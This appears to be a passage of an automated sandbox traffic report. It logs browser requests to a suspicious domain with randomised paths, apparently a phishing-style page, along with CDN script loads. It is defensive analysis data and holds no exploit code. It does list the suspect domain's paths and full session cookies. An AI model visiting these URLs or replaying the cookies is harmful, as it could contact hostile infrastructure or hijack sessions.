XSRF-TOKEN=eyJpdiI6ImhTVXBONys3bEljS1JoelJKMGJyNVE9PSIsInZhbHVlIjoiUm8zZmlWZWQwdXdoQnN0SzdLZnVRTmQ2OUtOb1EwVEVsRVByRDY5TFRlcUpmZm83MWYxK3U2QlFBa3hOcXUxbStWQ3JkOXJEQzBETHlJZjhQdjRVeStxcDhac2tGME1ndnlmZmpPanJtbUhSMnFGNXdLNGo5aThpbGRKb1FJZFkiLCJtYWMiOiIzZjYwNzFlY2Q2ZTZhZWQ1NTRkMGVhZmI4YzZhMGNmOTEyMGIxNjRmZTg2YmFmNTc3YmE1ODk4ZjEyOGJhNGYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImNrWThDRno5Q0FmRzN5SEY1OTlyOXc9PSIsInZhbHVlIjoiL20xRlEra3prT3NpT3dTSDczNXlobGdKNDIrNXF1NUJ5YmUwcW1Ib3JsSDRKTjVxTSt3SW1kbGEyQkRmMTBkOUVseVFaVkRVNVhjUXJBcFhWRWg5a3RXcThLZHNWNE1KT01XTlN2bFA5NmZNeWdGSTEyV0ppNDdKU3drdGI3VGkiLCJtYWMiOiI0MjE3ZjkxMGU1MzRjMmEzNjg5N2JkNDY0NjM1NTEwNjllMzVmYWRjOTdjZmNlNmE5ZGRjZTZkZjJhZWM1NWU3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /12Okb0G715SKh7yabtZm8919 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xy3ZBqB2BSbAQ1pqXmDef23 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=65536-65536If-Range: "28feccc0-15d9d"
Source: global traffic	HTTP traffic detected: GET /rsVEKuFJEXd12frcBawx38 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mllss.ablecenp.rusec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzh3pCKtx2M78uj3T1op50 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mllss.ablecenp.rusec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /78MZYcLVHHqGrMjLY23n297cJuv54 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mllss.ablecenp.rusec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /450u6Xnyf74XAGErQEY17J89Tqk8QDZaxy66 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mllss.ablecenp.rusec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=65536-89500If-Range: "28feccc0-15d9d"
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240605%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240605T141738Z&X-Amz-Expires=300&X-Amz-Signature=74b62e970616822bd8d63ef615b5b3759c0447b4954328eca4895b9ab45a3149&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=2925284&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /90RbfegwzCgg2x5125YhvQjshab80 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mllss.ablecenp.rusec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef8ZxeqCESOGNShRLG69JSw78zDjNJfw78xmn93 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mllss.ablecenp.rusec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56wWvXQ5TSc4DKXixdYguFXyltDcghILTqHSiXNkgEo3x889102 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klEZEIkxrqLti6SW5Bi0kZrbmbAU1pIscEup3jdGBd6kl2ZW98wsGRQAke7WCDOycofwx220 HTTP/1.1Host: mllss.ablecenp.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQNAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlVLQisxdjNlOVd5ZU55elNtMkllWkE9PSIsInZhbHVlIjoiZkVJTDdvYk1lSmU2Yi8xbUZ4VDdxbmpkbHdhclNpb3RGKzdvR3JwaFF3ZUNJNWM3QUc0MUJxZUFybUc2MDlTVmc3TzQ0bEtnL3BXY1pQbU5MVEcxMVd1YVVEK0hFMHBnbzlWY1dyWk8yMU1MVVdnVkIxMlRsL2lmRzB1WEhsV2kiLCJtYWMiOiJiYjM2MTI1Y2Q5MzBmYzQ5OWUxMWU1MmQyYzdhNzg1YzRlY2RlNzdmYmU2OTYyMjQzMjNkM2E0OTc5NzVlNTg1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjU3QllYdWwxUUJmclU4V2xia2R1c3c9PSIsInZhbHVlIjoiaStzblpXUzQzK1JsNkt0dC8zSFFwQ2s1ZEVBTmJIZDlXVTBFMHdPVlVRTzRzL1lid0pmRWpIUFdMRGRhZWRRTiswbFZHc1g1OTR4aktOblpFRjlqV0tBZndDTG5BWERtcFZjblk0OVd4VzB3Mmc4SmQ1eThZRERoMVp1TVZiUDciLCJtYWMiOiI4NjQ2ZWZmNjdlZjFhNjAzNTJjM2Q0ZDg5Y2E1ZDU4ZWExNTY4ZWJjZDZmMjU4OGI2MTZkMWQ5OGE1MmRiNGM5IiwidGFnIjoiIn0%3D
